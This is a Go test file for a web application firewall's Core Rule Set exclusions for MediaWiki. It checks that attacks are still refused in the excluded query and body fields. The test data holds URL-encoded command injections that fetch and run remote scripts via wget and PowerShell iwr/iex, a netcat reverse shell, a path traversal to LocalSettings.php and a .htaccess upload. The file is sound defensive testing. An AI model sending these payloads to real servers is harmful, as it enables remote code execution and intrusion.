check / check (push) Failing after 3m40s
Every setting of discriminator and rproxy is read through viper, in place of the os.LookupEnv function Main passed down. NewViper turns AutomaticEnv and AllowEmptyEnv on, so a setting that is set but empty reads as set. A setting may also be given as a file, the _FILE form, which rproxy's settings now have too; rproxy still writes nothing to disk. The settings are renamed. Discriminator's take the prefix SWW_WAF_, rproxy's take SWW_RPROXY_, and the shared SWW_COMMAND keeps SWW_. The Core Rule Set's settings take SWW_WAF_CORE_RULE_SET_ rather than SWW_WAF_WAF_. Model: deepseek-v4-pro (first version); opus-5-5 (rework)
419 lines
14 KiB
Go
419 lines
14 KiB
Go
package coreruleset_test
|
|
|
|
import (
|
|
"net/http"
|
|
"slices"
|
|
"testing"
|
|
)
|
|
|
|
// mediawikiThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
|
const mediawikiThreshold = 5
|
|
|
|
// mediawikiEdit is the address MediaWiki's edit form posts to.
|
|
const mediawikiEdit = "/index.php?title=Example&action=submit"
|
|
|
|
// mediawikiAPI is MediaWiki's API.
|
|
const mediawikiAPI = "/api.php"
|
|
|
|
// mediawikiRESTPage is a page in MediaWiki's REST API.
|
|
const mediawikiRESTPage = "/rest.php/v1/page/Example"
|
|
|
|
// mediawikiUpload is MediaWiki's upload page.
|
|
const mediawikiUpload = "/wiki/Special:Upload"
|
|
|
|
// mediawikiSignIn is the address MediaWiki's sign-in form posts to.
|
|
const mediawikiSignIn = "/index.php?title=Special:UserLogin"
|
|
|
|
// mediawikiMove is the address MediaWiki's form for moving a page posts to.
|
|
const mediawikiMove = "/index.php?title=Special:MovePage&action=submit"
|
|
|
|
// mediawikiBlock is the address MediaWiki's form for blocking a user posts
|
|
// to.
|
|
const mediawikiBlock = "/wiki/Special:Block"
|
|
|
|
// mediawikiProtect is the address MediaWiki's form for protecting a page
|
|
// posts to.
|
|
const mediawikiProtect = "/index.php?title=Example&action=protect"
|
|
|
|
// mediawikiSignInPage and mediawikiUploadPage are where a wiki without short
|
|
// URLs posts its sign-in and upload forms.
|
|
const (
|
|
mediawikiSignInPage = "/index.php/Special:UserLogin"
|
|
mediawikiUploadPage = "/index.php/Special:Upload"
|
|
)
|
|
|
|
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
wantRecordedRequestsPass(t, "mediawiki-requests.txt")
|
|
}
|
|
|
|
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
|
|
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
|
|
// the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
|
|
// path where it skips them, ending in "=".
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var mediawikiQueryFields = []string{
|
|
"/index.php?title=",
|
|
"/index.php?title=Special:Search&search=",
|
|
"/wiki/Special:WhatLinksHere?target=",
|
|
"/wiki/Special:Log?page=",
|
|
"/wiki/Special:Log?user=",
|
|
"/wiki/Special:ListUsers?username=",
|
|
"/wiki/Special:AllPages?from=",
|
|
"/wiki/Special:AllPages?to=",
|
|
"/wiki/Special:PrefixIndex?prefix=",
|
|
mediawikiSignIn + "&returnto=",
|
|
mediawikiSignIn + "&returntoquery=",
|
|
"/wiki/Special:ListFiles?ilsearch=",
|
|
"/wiki/Special:FileDuplicateSearch?filename=",
|
|
mediawikiUpload + "?wpDestFile=",
|
|
"/wiki/Special:BlockList?wpTarget=",
|
|
"/index.php?title=Special:BlockList&wpTarget=",
|
|
"/w/index.php?title=Special:Search&search=",
|
|
"/index.php/Special:AllPages?from=",
|
|
"/w/index.php/Special:Search?search=",
|
|
"/api.php?action=opensearch&search=",
|
|
"/api.php?action=query&list=search&srsearch=",
|
|
"/api.php?action=query&list=prefixsearch&pssearch=",
|
|
"/api.php?action=query&generator=prefixsearch&gpssearch=",
|
|
"/api.php?action=query&generator=search&gsrsearch=",
|
|
"/api.php?action=query&titles=",
|
|
"/api.php?action=parse&page=",
|
|
"/api.php?action=query&list=allpages&apfrom=",
|
|
"/api.php?action=query&list=allpages&apto=",
|
|
"/api.php?action=query&list=allpages&apprefix=",
|
|
"/api.php?action=query&generator=allpages&gapfrom=",
|
|
"/api.php?action=query&generator=allpages&gapto=",
|
|
"/api.php?action=query&generator=allpages&gapprefix=",
|
|
"/api.php?action=query&generator=allimages&gaifrom=",
|
|
"/api.php?action=query&generator=allimages&gaiprefix=",
|
|
"/api.php?action=query&list=allimages&aifrom=",
|
|
"/api.php?action=query&list=allimages&aiprefix=",
|
|
"/api.php?action=query&list=allusers&aufrom=",
|
|
"/api.php?action=query&list=allusers&auprefix=",
|
|
"/api.php?action=query&list=backlinks&bltitle=",
|
|
"/api.php?action=query&generator=backlinks&gbltitle=",
|
|
"/api.php?action=query&list=exturlusage&euquery=",
|
|
"/api.php?action=query&generator=exturlusage&geuquery=",
|
|
"/api.php?action=query&list=logevents&letitle=",
|
|
"/api.php?action=query&list=usercontribs&ucuser=",
|
|
"/api.php?action=query&list=blocks&bkusers=",
|
|
"/w/api.php?action=opensearch&search=",
|
|
"/rest.php/v1/search/title?q=",
|
|
"/rest.php/v1/search/page?q=",
|
|
}
|
|
|
|
// mediawikiAttacks are an SQL injection, a path traversal and a script
|
|
// injection, as a query value.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var mediawikiAttacks = []string{
|
|
sqlInjection,
|
|
"..%2F..%2FLocalSettings.php",
|
|
scriptInjection,
|
|
}
|
|
|
|
func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
targets := append([]string{"/index.php?id=", "/load.php?modules="},
|
|
mediawikiQueryFields...)
|
|
|
|
for _, attack := range mediawikiAttacks {
|
|
for _, target := range targets {
|
|
if got := inspect(t, crs, get(target+attack)); got.Score < mediawikiThreshold {
|
|
t.Errorf("%s%s let through: %+v", target, attack, got)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// mediawikiBodyField is a field of a form data body, sent to a path.
|
|
type mediawikiBodyField struct{ target, field string }
|
|
|
|
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
|
|
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
|
|
// the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
|
|
// a path where it skips them.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var mediawikiBodyFields = []mediawikiBodyField{
|
|
{mediawikiEdit, "wpSummary="},
|
|
{mediawikiUpload, "wpUploadDescription="},
|
|
{mediawikiUpload, "wpDestFile="},
|
|
{mediawikiSignIn, "wpName="},
|
|
{mediawikiSignIn, "wpPassword="},
|
|
{mediawikiMove, "wpOldTitle="},
|
|
{mediawikiMove, "wpNewTitleMain="},
|
|
{mediawikiMove, "wpReason="},
|
|
{mediawikiBlock, "wpTarget="},
|
|
{mediawikiSignInPage, "wpName="},
|
|
{"/w" + mediawikiSignInPage, "wpPassword="},
|
|
{mediawikiUploadPage, "wpDestFile="},
|
|
{"/w" + mediawikiUploadPage, "wpUploadDescription="},
|
|
{mediawikiAPI, "title="},
|
|
{mediawikiAPI, "from="},
|
|
{mediawikiAPI, "to="},
|
|
{mediawikiAPI, "summary="},
|
|
{mediawikiAPI, "sectiontitle="},
|
|
{mediawikiAPI, "filename="},
|
|
{mediawikiAPI, "comment="},
|
|
{mediawikiAPI, "reason="},
|
|
{mediawikiAPI, "user="},
|
|
{mediawikiAPI, "lgname="},
|
|
{mediawikiAPI, "lgpassword="},
|
|
{mediawikiAPI, "username="},
|
|
{mediawikiAPI, passwordField},
|
|
}
|
|
|
|
// mediawikiReasonFields are the reasons on the admin pages, which skip only
|
|
// 930120 and 932120.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var mediawikiReasonFields = []mediawikiBodyField{
|
|
{mediawikiBlock, "wpReason-other="},
|
|
{"/index.php/Special:UserRights", "user-reason="},
|
|
{mediawikiProtect, "mwProtect-reason="},
|
|
}
|
|
|
|
// mediawikiWatchlist is the field that Special:EditWatchlist/raw posts its
|
|
// list of titles in, one per line.
|
|
//
|
|
//nolint:gochecknoglobals // a struct cannot be a constant
|
|
var mediawikiWatchlist = mediawikiBodyField{
|
|
"/index.php/Special:EditWatchlist/raw", "wpTitles=",
|
|
}
|
|
|
|
// mediawikiWikitextFields are the form data fields that hold wikitext.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var mediawikiWikitextFields = []mediawikiBodyField{
|
|
{mediawikiEdit, "wpTextbox1="},
|
|
{mediawikiAPI, "text="},
|
|
{mediawikiAPI, "appendtext="},
|
|
{mediawikiAPI, "prependtext="},
|
|
}
|
|
|
|
func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
|
|
mediawikiReasonFields, []mediawikiBodyField{mediawikiWatchlist})
|
|
|
|
for _, attack := range mediawikiAttacks {
|
|
for _, sent := range fields {
|
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.field+attack)
|
|
if got.Score < mediawikiThreshold {
|
|
t.Errorf("POST %s %s%s let through: %+v", sent.target, sent.field, attack, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
for _, attack := range []string{
|
|
injection,
|
|
scriptTag,
|
|
} {
|
|
for _, field := range []string{"source", "comment"} {
|
|
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
|
|
body := `{"` + field + `":"` + attack + `"}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < mediawikiThreshold {
|
|
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// mediawikiCommandAttack is a shell command that only 932235 refuses on the
|
|
// fields that skip the other command rules, as a query value.
|
|
const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
|
|
|
func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
targets := append([]string{"/load.php?modules="}, mediawikiQueryFields...)
|
|
|
|
for _, target := range targets {
|
|
got := inspect(t, crs, get(target+mediawikiCommandAttack))
|
|
if got.Score < mediawikiThreshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
}
|
|
|
|
crs = readingBodies(t)
|
|
|
|
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields) {
|
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
|
|
if got.Score < mediawikiThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", sent.target, sent.field, got)
|
|
}
|
|
}
|
|
|
|
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
|
|
body := `{"comment":"; wget http://example.com/x.sh"}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < mediawikiThreshold {
|
|
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
|
|
// wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it
|
|
// holds no ";", "|", "&", backtick or "{", and only when the body sends
|
|
// it once.
|
|
r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
|
|
|
|
for _, attack := range []string{
|
|
mediawikiCommandAttack,
|
|
"Example%0D%0A" + mediawikiCommandAttack,
|
|
"Example&" + mediawikiWatchlist.field + mediawikiCommandAttack,
|
|
"Example%0D%0A%24%28id%29",
|
|
"Example%0D%0A%7Cnc%20-e%20%2Fbin%2Fsh%20192.0.2.1%204444",
|
|
"%3B%20sh%20-i",
|
|
"%26%26%20sh%20-i",
|
|
"%7C%7C%20sh%20-i",
|
|
"%60sh%20-i%60",
|
|
"%3B%20ls%20-la%20%2F",
|
|
"%3B%20iwr%20http%3A%2F%2Fexample.com%2Fx.ps1",
|
|
"%26%20iex%20%28iwr%20http%3A%2F%2Fexample.com%2Fx.ps1%29",
|
|
"%7Bwget%2Chttp%3A%2F%2Fexample.com%2Fx.sh%7D",
|
|
} {
|
|
body := mediawikiWatchlist.field + attack
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < mediawikiThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
for _, value := range hardValues {
|
|
for _, target := range mediawikiQueryFields {
|
|
if got := inspect(t, crs, get(target+value)); got.Score >= mediawikiThreshold {
|
|
t.Errorf("%s%s refused: %+v", target, value, got)
|
|
}
|
|
}
|
|
|
|
fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...),
|
|
mediawikiWikitextFields...)
|
|
|
|
for _, sent := range fields {
|
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.field+value)
|
|
if got.Score >= mediawikiThreshold {
|
|
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
|
|
}
|
|
}
|
|
|
|
// A reason names the command or file in a sentence, as recorded.
|
|
for _, sent := range mediawikiReasonFields {
|
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
body := sent.field + "Spamming%20links%20to%20" + value + "%20guides"
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score >= mediawikiThreshold {
|
|
t.Errorf("POST %s %s refused: %+v", sent.target, body, got)
|
|
}
|
|
}
|
|
|
|
// A watchlist holds the title on its second line, as recorded.
|
|
r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
|
|
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes"
|
|
|
|
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
|
|
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestMediaWikiExclusionsAreNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, refused := range []string{
|
|
"/?search=python3",
|
|
"/index.php?search=python3",
|
|
"/index.php?title=Example&other=python3",
|
|
"/other.php?title=python3",
|
|
"/api.php?other=python3",
|
|
"/rest.php/v1/search/title?other=python3",
|
|
"/?q=python3",
|
|
"/load.php?other=.htaccess",
|
|
"/x/api.php?search=python3",
|
|
"/x/index.php/Example?search=python3",
|
|
} {
|
|
if got := inspect(t, crs, get(refused)); got.Score < mediawikiThreshold {
|
|
t.Errorf("%s let through: %+v", refused, got)
|
|
}
|
|
}
|
|
|
|
crs = readingBodies(t)
|
|
|
|
// An uploaded file named .htaccess is still refused off MediaWiki's
|
|
// paths.
|
|
r := request{
|
|
http.MethodPost, "/upload.php",
|
|
[]string{"Content-Type: multipart/form-data; boundary=b"},
|
|
}
|
|
body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
|
|
"filename=\"Example .htaccess.png\"\r\n\r\nx\r\n--b--\r\n"
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < mediawikiThreshold {
|
|
t.Errorf("POST %s %q let through: %+v", r.target, body, got)
|
|
}
|
|
|
|
for _, target := range []string{
|
|
mediawikiAPI, mediawikiUpload,
|
|
mediawikiUploadPage, "/w" + mediawikiUploadPage,
|
|
} {
|
|
r.target = target
|
|
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
|
|
t.Errorf("POST %s %q refused: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// The same field name in the query keeps the rules, in the query and
|
|
// in the body.
|
|
for _, sent := range []struct{ target, field string }{
|
|
{mediawikiEdit, "wpTextbox1=python3"},
|
|
{mediawikiEdit, "wpSummary=python3"},
|
|
{mediawikiSignIn, "wpPassword=python3"},
|
|
{mediawikiProtect, "mwProtect-reason=.htaccess"},
|
|
{"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"},
|
|
{mediawikiAPI + "?action=edit", "text=python3"},
|
|
} {
|
|
r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.field)
|
|
if got.Score < mediawikiThreshold {
|
|
t.Errorf("POST %s let through: %+v", r.target, got)
|
|
}
|
|
}
|
|
}
|